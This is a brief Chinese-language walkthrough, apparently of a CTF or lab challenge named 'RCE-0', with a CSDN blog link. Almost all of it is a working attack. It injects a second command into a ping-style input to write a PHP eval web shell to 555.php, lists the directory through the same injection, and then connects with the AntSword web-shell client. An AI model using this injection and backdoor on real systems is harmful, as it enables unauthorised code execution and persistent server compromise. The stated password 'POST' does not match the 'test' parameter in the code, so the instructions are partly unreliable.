RCE-0

https://blog.csdn.net/weixin_48799157/article/details/123800145
在这里输入
127.0.0.1&echo -e "<?php @eval(\$_POST['test']);?>" > 555.php

创建文件555.php并输入一段php代码

输入127.0.0.1&ls查看目录文件

上传成功蚁剑连接555.php，密码为POST